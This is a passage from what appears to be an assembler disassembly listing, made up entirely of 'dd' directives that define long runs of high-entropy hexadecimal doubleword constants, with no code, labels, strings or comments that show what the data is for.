		dd 0E037F257h, 0C3E2F6Ah, 0CDE9C4B2h, 4400A1C4h, 3596C3A7h
		dd 0F47E6E60h, 4AFA0634h, 9FC38F9h, 0A2650500h,	0F7500457h
		dd 0F8340041h, 0F32BB087h, 0D00998Fh, 0A8D1BF69h, 19C48Ah
		dd 0F2F8685Fh, 79AA43C1h, 0DA38710Fh, 4642E751h, 0D43058E0h
		dd 2CA80045h, 0FE2A210Bh, 0DB00CB59h, 6B3FD7F0h, 188E3D02h
		dd 0C0F6C041h, 0BC0198D4h, 129D8F94h, 0C660D55Eh, 578BAh
		dd 96766907h, 0C8DEC0B8h, 2B9A7D03h, 9C98D9h, 76C52509h
		dd 3F3024B0h, 0DDD42106h, 0C0B627h, 5B70B92Fh, 1457D090h
		dd 54009FFAh, 171E5EC1h, 0ABC532h, 1D375072h, 114875FAh
		dd 0F38F6103h, 0F80E73D0h, 6F9F6Bh, 0AFDA3D89h,	52CD2D6Eh
		dd 7FA7B004h, 0F900F875h, 9986662Fh, 6EB5FD05h,	930244C2h
		dd 0E0F572D3h, 3310E4Eh, 29EB2487h, 42D8642Eh, 9400A2F0h
		dd 687A4F61h, 1E2D1A4Dh, 3C5F5Bh, 0A19889D5h, 540757A6h
		dd 84724A83h, 43E57630h, 44FD1F1Dh, 0D75C005h, 0D52BA7FAh
		dd 307C1500h, 1B7B4C14h, 825B3B59h, 0C06A0694h,	0E1355000h
		dd 0A20542E0h, 45E3B424h, 0D12E6100h, 90161B68h, 0B7EC17A4h
		dd 0A8470011h, 7DE89721h, 5603B1FCh, 0A18CF65Dh, 872000B6h
		dd 9713702Eh, 0DF005B57h, 0A48589E5h, 1669E9h, 8A8BFBDBh
		dd 26464166h, 0D8088498h, 6C3C0Ch, 77EE5FC9h, 0A6003DE4h
		dd 78ABFC29h, 957BA2Dh,	0B45EEA2Ch, 89230580h, 502839A7h
		dd 0D313B48Bh, 2840DD79h, 338FB9D7h, 0E14C049h,	6234C952h
		dd 41DDF14h, 48C400B8h,	0BCF275E5h, 1E9C9809h, 4F819BECh
		dd 6AAF145Bh, 2F40F9C0h, 71007D5Ch, 0FA704A7Eh,	0FE16B6C6h
		dd 57A706FDh, 418C023Ch, 1F6E7C00h, 5DB994F0h, 0B2B10EBAh
		dd 0A6A74373h, 0CFA06E35h, 85A59510h, 0C2A11A01h, 0AD4FF47Eh
		dd 54AFB8C3h, 0FE2FE061h, 0B817503Ah, 87C10604h, 909E04Bh
		dd 0B439E703h, 0A170F29Eh, 1880BFF9h, 1F29D727h, 43003F36h
		dd 5D212DFBh, 72E2DCh, 23FA8F7Eh, 0FE295982h, 7BB84751h
		dd 0A0258BC2h, 96716B8h, 381501D0h, 1FDBC26Dh, 1AC20BDh
		dd 959CF300h, 0D0DA0230h, 0C5A007B0h, 536F2AC9h, 18D0C839h
		dd 314CE967h, 949C00E8h, 0BC6AAAFh, 4FF7006Dh, 451881DEh
		dd 48702862h, 6FA0D10Ah, 1B07BBE7h, 0AA9043F2h,	1CAE9AC7h
		dd 1E96E4D2h, 49DCC789h, 83F0139h, 345D444h, 9F9C560Fh
		dd 489D80DDh, 97FEADh, 4AB9BA26h, 61FFB336h, 1F40593Ch
		dd 7BFBF39Fh, 95F82F09h, 5A2C8066h, 405408ECh, 0AA0140EFh
		dd 5142D653h, 0C0E0FA01h, 15A40755h, 0B0D50258h, 52A54F88h
		dd 50C1DA07h, 32E08675h, 1ED4D8Dh, 0C476D67h, 0F023A45Ah
		dd 6E20B9CAh, 556B0098h, 8B1CB671h, 191F7FCCh, 540D2A8h
		dd 0B4660725h, 90AB3BDEh, 0C83F6480h, 0A6F99BE7h, 0AF30BB07h
		dd 0B4428092h, 537041BEh, 0EDAE30h, 56A9BD1Bh, 6F7D16D2h
		dd 40EAEC16h, 63C80CABh
		dd 30038FD0h, 857B28C4h, 0A58AE878h, 0BC440E72h, 3FEBDB6Dh
		dd 28AF7F0Fh, 0E08D5160h, 800FAD30h, 0A09C70B5h, 79066DF3h
		dd 0D64200C0h, 443D7814h, 0C709770Eh, 160A684h,	0AF1E7F8Ch
		dd 1D3FD0h, 18162E8Ah, 0F9DC296Eh, 2CAB0B00h, 3074BAC9h
		dd 0EC7A26h, 0C705C20Fh, 0B6D89F0h, 8375323Bh, 0A31B0491h
		dd 0F09DEB0Dh, 1E55B52Ah, 8EF1E7AEh, 5FC0D71Eh,	24FFF5A8h
		dd 0E1A2110Dh, 83F02057h, 0C333006Dh, 9A376C0Ch, 165DD632h
		dd 6FFF00C4h, 0E6C90918h, 0D12000F0h, 92ADB68Bh, 0E9000548h
		dd 6055B3B9h, 3C248Ah, 0D34AC2C1h, 78C89474h, 2024A7F6h
		dd 570970B9h, 47903042h, 0CFA42CE0h, 40401E74h,	317FDBB3h
		dd 0C67AC9B8h, 0AA1BF700h, 0FD03375h, 3C38009Bh, 474279A9h
		dd 3D00E51Eh, 9CB9F34Eh, 2E65DB40h, 66814Fh, 0C26F52EDh
		dd 1500FEBCh, 3D20EE2Dh, 7BD7F2C4h, 11360174h, 92A6D201h
		dd 99988050h, 7143A7C2h, 0A415008Fh, 0B3328222h, 453B8CD2h
		dd 0A905CB4h, 0DA3E0317h, 0F505FF24h, 0B4020B06h, 4136EE57h
		dd 69F4CF42h, 802200A8h, 0E33AF2AAh, 0BE005699h, 0B6D84BE8h
		dd 0F84652h, 0D550C6E4h, 99B7C0C2h, 0CC9813F8h,	0B43A2D1Eh
		dd 0CBFAEDC0h, 12507Ah,	47F3CF30h, 583FA856h, 0B236B800h
		dd 0F8EEE7C3h, 0F89970F7h, 0EEB395Eh, 0C095901Fh, 28648492h
		dd 873970A6h, 0DCC39BB3h, 942E0E8h, 897930DFh, 0C9B36709h
		dd 0FE721703h, 13F7A34h, 0D6571018h, 0FCBEB69Fh, 0A100B57Ch
		dd 0F2615CE0h, 27A23F0h, 0AADD05A3h, 80632C81h,	26B9C4D8h
		dd 0EF5BDB00h, 4B076A91h, 41FA0053h, 0F3DF891Dh, 56005920h
		dd 45A3EC52h, 737837h, 4B96B5C6h, 2C16F424h, 0E758F67Ah
		dd 0EECE0324h, 9C10252Dh, 40AF2081h, 6CE4E8DFh,	0B098A03Eh
		dd 22FC0056h, 1560EA81h, 69F6C576h, 0B60EBD00h,	8343F3D3h
		dd 905778B0h, 163A0010h, 5460AC0Dh, 0A701CFB5h,	0BFE5D807h
		dd 0B7011796h, 0BAC283Dh, 20F4095Ah, 9518E598h,	0CFCF9h
		dd 3F4DAEFBh, 463794CBh, 0F27CD816h, 12F38000h,	0BAD9B7h
		dd 0D4E67F49h, 0D3E8CCDAh, 9BF22900h, 47579310h, 85B500D8h
		dd 0D94C4D5Dh, 0E90F4B8Eh, 0EFC31D42h, 863200D7h, 7B22D83h
		dd 0EF3F59D3h, 7E792014h, 113FBD02h, 3CF1245Fh,	0EBCCC800h
		dd 7FFADAE1h, 3F2F0E6h,	42CB7CDh, 9AD9BD0Bh, 0C3EAC8A4h
		dd 5EB65007h, 66031CFDh, 49E1A095h, 83B00E6h, 886CF35Ch
		dd 0B74C021Dh, 4C2078B8h, 0E3501F9h, 0F80C93C6h, 0A64EC48Dh
		dd 7DCBAD00h, 0DC723319h, 906A00CAh, 732C59F0h,	100399D2h
		dd 9EF2F9C3h, 45BCB823h, 7A800058h, 1943C1B6h, 7D1291F0h
		dd 0A009AFC5h, 6EC90CFh, 0E6DB7405h, 6AA71F52h,	9B96C1E6h
		dd 0E48DE36Ch, 37134409h, 0BB00F072h, 5F92B1C9h, 0F50B882h
		dd 172314B9h, 0DBD2D120h, 2400BA7Dh, 0FD8B7998h, 243933ABh
		dd 42ED4h, 0D3B0AF83h, 0B63EEA5Bh, 49A785Fh, 394D3C00h
		dd 79D8FBE0h, 0B80700E4h, 4A2622B1h, 660061B3h,	0E160F784h
		dd 18518267h, 802B36D1h, 0A7A31E88h, 5C6001A2h,	5500B89Ah
		dd 0EDD57403h, 1213287Dh, 3630536h, 0DC6CC43Ch,	0F86966D0h
		dd 0AD2ED70Bh, 15048259h, 4AAC6442h, 0DCCEB179h, 33244B7Dh
		dd 28807C6Ah, 0A1ACD4C7h, 26EA0082h, 0C14C138h,	30ED98FAh
		dd 1B0C88A8h, 300FE53Ah, 43E0019Eh, 23E8D05Bh, 0FB46C069h
		dd 0DE7D1E00h, 2A557F4Eh, 293D0052h, 0C78B6014h, 2E001C9Ch
		dd 6B6727E2h, 0EA1395A4h, 0AAFC0055h, 0A9F86F60h, 0C971C44Eh
		dd 0AE008C78h, 0A8C86DE4h, 57CEEh, 0D76AEA84h, 0F154F649h
		dd 70551200h, 0F4DFB10Dh, 2FBB01AEh, 0D8B61E44h, 49B3D8EFh
		dd 0DE3D4200h, 0ABF3955h, 69EE0031h, 16E84D0Bh,	8501C4CEh
		dd 29C9D7E5h, 66C9ED12h, 0D3F2E0h, 0C85DD9D8h, 7FF8DA0Dh
		dd 28B55824h, 60D4CDC1h, 48F081FEh, 0ADECE9BEh,	56170095h
		dd 91C87C06h, 2A001DA7h, 63D822A5h, 0CD581Eh, 0EDB1A4BBh
		dd 0B7EB6B4Ch, 0EA24A00Bh, 37E180FDh, 0EF4AB60h, 73EE2123h
		dd 0AFA338C0h, 4D0068FEh, 7CEB6493h, 4C5947E4h,	2A04285Ah
		dd 0B0B469CCh, 4E0255ECh, 42C9FEE6h, 59F0E08Eh,	0C3983F11h
		dd 0B9A22B80h, 830B26A7h, 0DAE00E00h, 0E108E7F9h, 0BA751602h
		dd 0A72DF090h, 30204900h, 8D67B4FFh, 0E85307DFh, 530DE67Dh
		dd 100933ACh, 8FE3DC7Bh, 8AAE041h, 3C070A7h, 0CA959FE0h
		dd 93A8DE12h, 40908031h, 8BC46100h, 0A192B425h,	740603CFh
		dd 8FB23B8Dh, 0AAB3D1EBh, 0A85E49D8h, 0D8EA6A24h, 0D49C0606h
		dd 0D9C70008h, 0DF407E7h, 470E25CAh, 223D3FDEh,	80D1D631h
		dd 1A79B5BFh, 0E37FF6h,	50491519h, 6F289D5Ah, 158F248h
		dd 55BFFE18h, 97708037h, 939800E6h, 0BB3F236Ah,	9FE25EDFh
		dd 8326B47Ah, 0CA00BB09h, 19AED9F1h, 38A90064h,	0B44413FEh
		dd 7E00F5ADh, 0DC3F2162h, 0FD382h, 0B38920Ah, 0FA3E8C7Bh
		dd 2E03BAB0h, 62D2F1CBh, 52C0B5C3h, 0CD351Fh, 5E1032E9h
		dd 3C260C8Eh, 7ED38D07h, 58B020B0h, 13556083h, 0E863E028h
		dd 3B4A00A8h, 93B7DCF5h, 0C4E800E2h, 3AC0EADBh,	62006B22h
		dd 1E4D3A9h, 3D962CF1h,	0CB8A6A29h, 1F50C726h, 27428044h
		dd 8771CF36h, 0F9589C00h, 0F539667Ah, 629A007Bh, 641CF1A2h
		dd 0EE0342F2h, 318E61E4h, 0C98AD83Ah, 6D3B00D3h, 16B76A6Fh
		dd 0AC012EBEh, 1EC19BE5h, 0F3D40294h, 0B2D616DFh, 5B51019Ch
		dd 0E09A3326h, 5700592Bh, 5176771Ah, 0F0966Bh, 0F85CF60Eh
		dd 8FDFB944h, 3590E000h, 0CD032361h, 0AD4600BDh, 0FEEF5743h
		dd 3618931Ah, 1CCAD5B0h, 5CA7006Eh, 6F0AB652h, 0A1006442h
		dd 119F484Ah, 0C26C159Ch, 66B81B20h, 1E6860D7h,	0A02008Eh
		dd 3329AFC8h, 0F800C137h, 9FF3031Ch, 5828F64Ah,	0AD1C06B2h
		dd 7FD1803Eh, 739C6970h, 0D2078571h, 2836D8Eh, 0F1C078E7h
		dd 1FA877F7h, 40DC3E3Ah, 72139D35h, 3B0034D8h, 4D02C5C6h
		dd 399ECE5Eh, 0C401B75Dh, 0A4F045D4h, 0C85F31B6h, 382459E5h
		dd 0C30024DDh, 0A9830FB4h, 1C6400ACh, 6B505FCCh, 0C43DAF9Fh
		dd 811EBC4Ch, 3DD6D3DDh, 6EDC27E3h, 116100B9h, 50E232D8h
		dd 0F5FEF71Bh, 0E8EC5400h, 7073E699h, 0DA6600D2h, 818BA5EAh
		dd 0E5E07E6Dh, 6A140B00h, 132537ADh, 70DB0757h,	30A9B780h
		dd 2FF84B3h, 72530C02h,	4061E701h, 194FA30h, 0B9A34049h
		dd 0EF7635E3h, 1AC15798h, 0F3003BF4h, 534E6530h, 3AFF79F0h
		dd 9405A745h, 0C08B44E0h, 9BA1B032h, 0A2CD7000h, 9771CA60h
		dd 7DD003Dh, 580D2054h,	760F464Dh, 6023BEEAh, 74416EE9h
		dd 72390097h, 0F5CDD335h, 40E1ECC7h, 9D834BCh, 79ED5100h
		dd 0C499A9B3h, 6B2E00B5h, 0EE677D1Fh, 5609AF57h, 28158Ch
		dd 12C1517Ch, 0B0F6506Eh, 938900F5h, 979E98A5h,	0AB0078FEh
		dd 0C70A2381h, 0F891E0C8h, 56630054h, 229C46B7h, 940758CEh
		dd 0A8111B19h, 0AE8A8D51h, 0DDB2C0h, 5C653CFCh,	8F71F24Ah
		dd 5FF19700h, 0CEFF98BEh, 0D4B90002h, 0B3884BF7h, 0A6E838B4h
		dd 0AA294F00h, 0D9CBD2FAh, 0DD150220h, 36B02E44h, 324FF2E0h
		dd 0C30017E6h, 0DF82F909h, 1A4AADAh, 31B745BEh,	40A24637h
		dd 0BD16A8D0h, 0CB06B500h, 0CCE0104Ah, 0FCBB3AC6h, 0ED41EF00h
		dd 0BD125144h, 0D2DF7900h, 658D43F5h, 237EDEh, 4C2091B7h
		dd 4E21F9A4h, 56149000h, 6DC8C3E8h, 245C4DFAh, 0BF720079h
		dd 50EDB16h, 0DE00488Bh
		dd 96666D20h, 0E29B56Eh, 18F93294h, 3F1BCF60h, 0DBA267C0h
		dd 79F71C80h, 8F249802h, 4E09CC83h, 0B6A881E2h,	0A700DD3Eh
		dd 6000F92h, 4A9C5FA3h,	15564C7h, 0A4C9280Ch, 0CB1B9E66h
		dd 72A026DBh, 59480AF9h, 6CE8007Dh, 20FDAA0Fh, 4B0800FFh
		dd 0BA7BDB7Eh, 8570E26Eh, 83FC1C09h, 3E27F6F6h,	6A769C02h
		dd 8F80DE2Dh, 0E647325Bh, 0D53C3600h, 0D9171F48h, 93E1D82h
		dd 8AE289E0h, 9ABA5880h, 8D01D864h, 6ECA0521h, 0C040A178h
		dd 16FE6FC4h, 0DA40A2h,	0B2DF4D18h, 9E25AABAh, 1FE5074h
		dd 0EC5548AFh, 801DD59Ch, 0D182B6A8h, 13145Dh, 0AF98375Fh
		dd 599277E7h, 4BE8CB00h, 695CF96Dh, 0ED9F03EEh,	21111995h
		dd 394E83A8h, 8217E500h, 1C8AE156h, 2AC0012Ch, 0ECE2429Bh
		dd 5EDC249Eh, 0DADEB400h, 4AC1F959h, 0D50801FAh, 0CA6946FBh
		dd 0E9D8809Bh, 0EABF5258h, 2C1F0090h, 3E80E733h, 4081D882h
		dd 9347DCh, 0E5924648h,	6320998Dh, 267FCE00h, 0E0F2D15Eh
		dd 0C1363BB7h, 0E9F0FFDh, 0B4E432DFh, 0A5D08364h, 930CA290h
		dd 5EEF7A06h, 184092h, 1CC7C9FAh, 2DC53705h, 0CB7721F2h
		dd 85E1F400h, 4F5C7697h, 1EFC7BFAh, 403B91B8h, 0D0BA5ABCh
		dd 4B1E63E7h, 0DC02517h, 9AA61918h, 0F20248A5h,	0CF002E3Eh
		dd 9425372h, 0ED01AAB0h, 4065CC6Bh, 0A8EC032Ch,	8BBA00CFh
		dd 0E3803A39h, 7400B81Ah, 6C54B56Dh, 3B283C2Bh,	0A4D0575Bh
		dd 0B4360088h, 0BC06A672h, 1D035EDAh, 3AC709Eh,	248189E7h
		dd 215F2087h, 6C48300Bh, 160378A1h, 65A4735Eh, 1C33F80Fh
		dd 0CF061C60h, 20165Bh,	0FCA2393Ch, 0BB909269h,	0EE7B9171h
		dd 0FAA43Dh, 0FE23AF0h,	4850419Bh, 0F30060F1h, 0FDB280C1h
		dd 5500CB0Bh, 769F2BEAh, 0EABF7A36h, 77F90E28h,	2FA27C02h
		dd 0C1D44574h, 73AE8E01h, 3C70D050h, 0A99A2066h, 0EDEF009h
		dd 72DA005Eh, 289DF514h, 0D06DB2h, 0CC12D79Bh, 0E45DC083h
		dd 8168201h, 0C736587Dh, 347460h, 6A6CCB8Bh, 81E64FBBh
		dd 0B792120Dh, 0CC4406Fh, 0F68600E3h, 0DFCE05B1h, 3B00BE8Eh
		dd 0CC6625CBh, 0C069074Ah, 9BD051C1h, 6C0722B9h, 7C34F323h
		dd 997214C0h, 3B7A004Fh, 764736FBh, 6A7AC8DCh, 0DC213D38h
		dd 654D00C4h, 1E800B3Ch, 1BD10063h, 7019E41Fh, 8A4C8130h
		dd 5D9924F4h, 0A0D2160Fh, 9D78A2F7h, 4C79002Eh,	0F292C6FAh
		dd 0C704EBE7h, 0A32A06E1h, 0F794A081h, 0C0D1E2D0h, 0B54BF4A2h
		dd 0FF00885Ah, 30C13BA0h, 0E6795ADh, 6E2A6A8h, 58C91F00h
		dd 0F1125702h, 2B09256Bh, 523C0070h, 0F18490ECh, 19AC30h
		dd 303FF006h, 0F3C653F6h, 3D1A4558h, 0F74980E0h, 46B00387h
		dd 6AE8BBh, 9C3FF277h, 0D54D4490h, 0FDF37200h, 0CB7D4FBEh
		dd 0FE9E1C63h, 4380FBB6h, 252F9DF2h, 1C0EC8F5h,	0E191DC19h
		dd 8DEDB5D1h, 891292h, 0A2671B20h, 3700F032h, 0F7D78F1Fh
		dd 0A874ABh, 693FA750h,	0B504763Ah, 0C594C750h,	9986A30Ch
		dd 769230F6h, 89F33DF1h, 0B0A02B82h, 0A6E0638Dh, 8500575Ch
		dd 347D78E1h, 33161DCh,	0E615F58Fh, 4AE0407Bh, 220084D8h
		dd 1FA021B4h, 0B0DC43Dh, 0D6861293h, 30CF9011h,	4339AF52h
		dd 54140077h, 5CF89304h, 1FDD0971h, 0C000E5EDh,	136449E9h
		dd 40CEB300h, 0AD8F0E2Eh, 0C8100004h, 16CBF6FCh, 0A004CE6h
		dd 3E2AB75Ch, 3225D6Dh,	2597CA33h, 5B9024D8h, 5174303h
		dd 4701D6F1h, 8836A77Ch, 2444A0C7h, 859201A5h, 95BABE9Dh
		dd 0BC54C435h, 9CC03100h, 17E3A361h, 89BB00B2h,	0E80133AEh
		dd 1500DDE9h, 61198E71h, 0DC75C1h, 9780E43Ah, 8327DE2Bh
		dd 0BA06420Fh, 0A3EE6F59h, 988D68A6h, 90E27653h, 5D7050h
		dd 1B4B7443h, 0E6327390h, 6537B600h, 420DCF92h,	0BBF0FA3h
		dd 0D7035EAFh, 798091A4h, 0F60057C6h, 289B3148h, 44B145h
		dd 269D2D8h, 7168069Fh,	0EDF7E100h, 7A75784Ch, 57D62h
		dd 0EAD4726Eh, 0AC2835BBh, 0C4A64Ch, 1986D006h,	3392AFAh
		dd 46DC1074h, 24F9EEF8h, 0F0EFEBC4h, 12C56DF0h,	1C583100h
		dd 92BB5B84h, 0E47F0142h, 2EAE3093h, 823FDC4Dh,	0A160D300h
		dd 0FC6D54BEh, 0ED480061h, 6A5A12B8h, 1601E791h, 9ECEB714h
		dd 80FE75A6h, 7D1882F0h, 0A8243E3Dh, 0FFA08080h, 6DD2DDB5h
		dd 0F20099F4h, 3C6C30ECh, 6C4C9A1h, 0A77D2B31h,	9B070D2h
		dd 27265101h, 0F51CA6D6h, 3A09089Dh, 0A4E6028Bh, 7DFD9821h
		dd 6230804Dh, 2DC3CE9Ch, 0C4B91D2Bh, 2394052Ah,	2810059Bh
		dd 7C7D0BCh, 0D0F9C88Ah, 0D5CB8D6h, 7DC91F68h, 46E57007h
		dd 5BE1DE10h, 64500006h, 65825323h, 7B067744h, 0A69DC1Dh
		dd 5E7F20h, 0A59BB288h,	0B881CA2Ch, 0C49C98C5h,	0C221B0C0h
		dd 1AD1C2D5h, 5C808903h, 75A1CEF5h, 0BB01B5F0h,	45AC63Bh
		dd 5F307B1Dh, 77F001Ah,	42AFF5FAh, 0FD2808A1h, 30606416h
		dd 0B82BCEE0h, 147F4223h, 2030D802h, 551C1E27h,	5D6C40EFh
		dd 937D8C45h, 485C2E00h, 2A525F9Ah, 7A4A017Eh, 0BC14A321h
		dd 9D9FD872h, 992CCB1Ch, 2F40CE1Ch, 383C0DBEh, 7B162823h
		dd 0E8AD03AFh, 75276B3Bh, 29B25890h, 0EF078900h, 0E90FD11Dh
		dd 280600B3h, 0E0802F67h, 0C41F4FF3h, 0D5C05AF9h, 632740FDh
		dd 0CB930037h, 25FCE5ADh, 0D400236Dh, 1A54062Eh, 1363CF10h
		dd 802956B7h, 59BB40B8h, 0F0E1C46Dh, 0BCC3041Fh, 10005E30h
		dd 0CCB086D6h, 7E7C69A8h, 0D1173DB9h, 135A7A83h, 0E088D7BCh
		dd 0F232F851h, 100829AEh, 59408045h, 3D2284C3h,	8144284h
		dd 1D58CD1Dh, 0A322627Fh, 11404212h, 0AB21B326h, 9F109F08h
		dd 7F0020ACh, 0FA89656Bh, 5DC66h, 786CBAAFh, 71E0128Bh
		dd 7D52220Ch, 23B0A1h, 0D30A4330h, 2BBB54A5h, 426BF40Eh
		dd 264B219Ch, 4CCB55Ch,	6FDE005Eh, 34124925h, 0C800BCF2h
		dd 863A9F98h, 5513B9h, 0EA903C91h, 56A535D7h, 0FF2E3E8h
		dd 1FF8E271h, 0FD619300h, 8DE49AF5h, 163B01F1h,	0F31A403Fh
		dd 0ED5360EBh, 59130712h, 1D01E400h, 0E008C1h, 0D1AD1CF2h
		dd 2CF0C3DEh, 25000CEAh, 0CC8A58C4h, 7E71A6E8h,	3C009213h
		dd 701DABB1h, 3F57402Bh, 7885D043h, 4B27DF01h, 0BD4D08BEh
		dd 906DF9CCh, 0A3C05E4h, 17D25F6h, 11714FCh, 6F32D470h
		dd 494A7F00h, 9A07D8CDh, 415A01D9h, 0BCC20F19h,	32B1ECDAh
		dd 0D6223300h, 10FCB336h, 8FE0030Ah, 0EBA87649h, 6B2B3DE0h
		dd 0A3849A04h, 8C80240Eh, 2EC40DE3h, 5EAF53h, 6696D292h
		dd 8300C6F7h, 95170B9Bh, 1F87144Eh, 807EDFAEh, 0BC035D89h
		dd 88B8359Ch, 95319400h, 0EA540EB5h, 3AB9056Bh,	0C0E34A56h
		dd 9446F25Bh, 2E956300h, 0E1E2A838h, 0C6E000AEh, 6A64F82h
		dd 21005FB8h, 0D1CAFCAAh, 926E3Bh, 0F23780C1h, 8BC3DABDh
		dd 61A97E00h, 0AE3C5571h, 1A8C2498h, 63200BF0h,	5F006C0Eh
		dd 0F0E9800Dh, 0DDA5C000h, 0E19AFF3Fh, 0ABC81CF2h, 0EB3240FBh
		dd 0DF206D07h, 0F85A911Fh, 8DD72B40h, 16971644h, 7CF5B0h
		dd 42FF4624h, 0E900E4C3h, 28398405h, 0D927B5h, 0DB0F9E5h
		dd 18DB2A17h, 0D78DCE00h, 0F03D8B5Ch, 0E47E0072h, 0B58F041Ah
		dd 0AB07B980h, 0EB86787Bh, 0D0372E43h, 0F15070h, 0F801948Ch
		dd 0FD5F328Dh, 0BF196D00h, 9E86AB0Fh, 0E78E1D66h, 31007C3Ah
		dd 9634BABDh, 320AB777h, 0FC922702h, 3A65E600h,	785ABFD8h
		dd 0B34B0398h, 4614E8Ch, 0D2E52090h, 4CF93200h,	0B856E9D0h
		dd 8512003Dh, 720E90E3h
		dd 7D006B11h, 2CE2F02Ah, 7AF2C068h, 6152002Fh, 3DE30D79h
		dd 7100FAD2h, 0AEDE8F60h, 3A5469ECh, 2B008005h,	0A640A3E4h
		dd 0FAE2EB70h, 0B97A6B0Bh, 0D88C824Dh, 0F8B4C0E9h, 3F1A0161h
		dd 0F14570E0h, 346C3452h, 921E5471h, 0ED49EEB1h, 9C740718h
		dd 0EB90A4E0h, 0A1F900D4h, 9DF57D35h, 5B005F66h, 0EF0E1394h
		dd 0F011BDh, 1BD6400Fh,	3D1EADC2h, 20DD881Ch, 8ED57F80h
		dd 19517B78h, 80D492F2h, 31B7D064h, 0DFF9A200h,	0E38AF820h
		dd 0A7480180h, 89E4911Dh, 7EBCE87Dh, 0C8C28D07h, 58D1789Dh
		dd 0BD0374Eh, 2FA7C3Ah,	5C4D84EAh, 7D40BA46h, 0BC00AB8Bh
		dd 45ED2822h, 1E3E987Dh, 870DA682h, 670C04C8h, 9502B25Bh
		dd 3E2F888h, 0AF7EC57h,	2AAE3B80h, 66FF3703h, 9853089Eh
		dd 1E24FB8Bh, 0AD166Eh,	5DD89B4Bh, 2090F606h, 28442000h
		dd 4FE8816Ch, 0F2390F18h, 0EF31E4Ch, 23E0D060h,	823CCFD7h
		dd 0A9AEA809h, 56F4040Fh, 0EF579F20h, 4A2B5A12h, 31A22C40h
		dd 1F7F1FDCh, 7F416636h, 716F2E80h, 0ACD05CF7h,	0AF3BCE13h
		dd 33EA9C00h, 37E58D8h,	93A8DFFAh, 6CE122BEh, 5570C80Ah
		dd 0C7723Fh, 958CEDEBh,	3C082456h, 0AD81E43Dh, 0CD0AE303h
		dd 0E077CA2Fh, 288076B1h, 75DA6721h, 1287002Eh,	854F368Ch
		dd 0FC00FD11h, 50CCBD41h, 0C95AC0h, 0C3126FEDh,	0FEE09946h
		dd 1548A060h, 552924h, 0D1A8979Eh, 9967A4Eh, 82567B00h
		dd 0FFEA202Bh, 0A0355E14h, 8E007292h, 18B9D232h, 3D2384h
		dd 49C9A85Eh, 43119A2h,	55A57207h, 9CF0DEEAh, 763F0Bh
		dd 0EDCD16BDh, 0F7A82F44h, 1A196E00h, 34319168h, 0BDA60736h
		dd 30D3C441h, 2351F37Ah, 0F63721Ch, 984AF640h, 99A92Ah
		dd 3590B17Eh, 0ACE07F3Ah, 68E24D1Dh, 857850C0h,	0B026862Ch
		dd 764C1CFCh, 53730131h, 51CD1228h, 0C40736D8h,	0AF0C4F0Eh
		dd 19D656B9h, 88280011h, 0EF4C0DE2h, 2D73D06Dh,	0DE9B58h
		dd 5F0C6690h, 2C2CED8h,	0F453DC5Dh, 89C311A7h, 23B71100h
		dd 0D8EB2151h, 0C3300003h, 19473B5Ah, 0C700C8F0h, 2C6E146Ah
		dd 4CD92h, 5722171Ah, 0A7384EDEh, 0D2007C90h, 30534A93h
		dd 0A878919Dh, 99E5F4E0h, 0B62B00A4h, 0E24A24DEh, 4001C90h
		dd 5A97ACD2h, 586655h, 955D298Fh, 826C4F87h, 7CF49F24h
		dd 0BC404C00h, 21CDDE9h, 0D7FD02Bh, 0FCC0F318h,	0EC002272h
		dd 4D6BD823h, 0EAAF0129h, 902A0034h, 738C4785h,	7600D019h
		dd 14D715D4h, 35D692Dh,	0BC085A26h, 0D6804CDCh,	8601222Eh
		dd 1E8CA0E7h, 0DDC3352h, 931400F3h, 0C850B559h,	0D6004BC4h
		dd 812CC908h, 0D11E67h,	0ADE7E5B9h, 0DD86443h, 97006EEEh
		dd 0B1D9DCD6h, 0FF4EB0h, 0B6C24AD0h, 3FE5AC09h,	0A2B28400h
		dd 0F8889452h, 506B12F1h, 800A1C0Fh, 0B096B6C8h, 0D63E0DEAh
		dd 0F6048023h, 45D32E98h, 0E9A413A2h, 58260018h, 9624C75Bh
		dd 0E0271D00h, 0E726C5FCh, 0E6460059h, 0B2F3C4A4h, 0AA000256h
		dd 8507895Fh, 992026h, 63415991h, 86773213h, 0BDDAC807h
		dd 0D7206C97h, 6D63F8Ch, 1B01B953h, 57EA8E06h, 0F15A500h
		dd 0FE85E52Ah, 190C0067h, 89067A52h, 0DC0059DBh, 4E72C523h
		dd 0B042B1h, 8B21F278h,	0FF1B70A5h, 2FA70D00h, 3EF8D52Ch
		dd 8262132Bh, 5FF0010h,	0A51E58B6h, 0BC21D300h,	6DC1FCD8h
		dd 8638018Ch, 0C4F80C9h, 48E760DFh, 3F79907Dh, 3D993200h
		dd 0E3F0F3FFh, 5CF0B0h,	4ED5F743h, 0CBFC5705h, 67F1C000h
		dd 786C5A59h, 0ABC60735h, 0A7B8297Ah, 0F076702Bh, 0D6033AFEh
		dd 31383948h, 8828AB20h, 3B09BADBh, 418061DAh, 8E95A23Fh
		dd 2B00B263h, 4FD4EF74h, 56ECF2h, 6E8A70F4h, 1EC1FB35h
		dd 59CC4000h, 5C2A1DAAh, 649700A4h, 1117C4C3h, 34767309h
		dd 0FC0E25F8h, 0C02202ABh, 665B39B0h, 4EC63D6Bh, 0E8EABD00h
		dd 62B16C63h, 0D141FE0Bh, 4FC18753h, 8319F370h,	43EB002Eh
		dd 0F2D54450h, 800974Ah, 693155B6h, 3D308F98h, 3C802CE8h
		dd 71D07CAAh, 2600E781h, 0B6ED7046h, 951F1Ch, 18F20590h
		dd 0BF968F9Eh, 0E74F4D00h, 0DE716942h, 0CA4C00A7h, 0FF2280D5h
		dd 0D3E81112h, 0EC21D200h, 9D636A38h, 795000ACh, 0BB0B2D58h
		dd 9900F974h, 3FF19F41h, 0FE9EB5Ch, 8C084580h, 6C2AADE0h
		dd 0D800761Ch, 610398FAh, 0C07EFB88h, 7A1F0A78h, 5F0056E1h
		dd 4735E814h, 397BCBh, 0D540A270h, 0C305CF53h, 3D97130Ch
		dd 2FD854h, 0D33E7964h,	0A11444B1h, 59E5B007h, 80696BD9h
		dd 0EBFEAEACh, 0FA8D004Eh, 9C83B65h, 0A51C6160h, 6C8001B3h
		dd 94A21292h, 8A5E003Fh, 0E267AFBBh, 3975C1C3h,	0E8A7F800h
		dd 0EFF061F6h, 9B1E0173h, 44E6188Ah, 0CE8970BBh, 49BEAF00h
		dd 7D8CB82Bh, 0AA93F86h, 0CA89DD80h, 3EE8C061h,	0F4EC840Bh
		dd 45460007h, 0EBD440h,	0CEDC890Dh, 1E86AAACh, 0B423100h
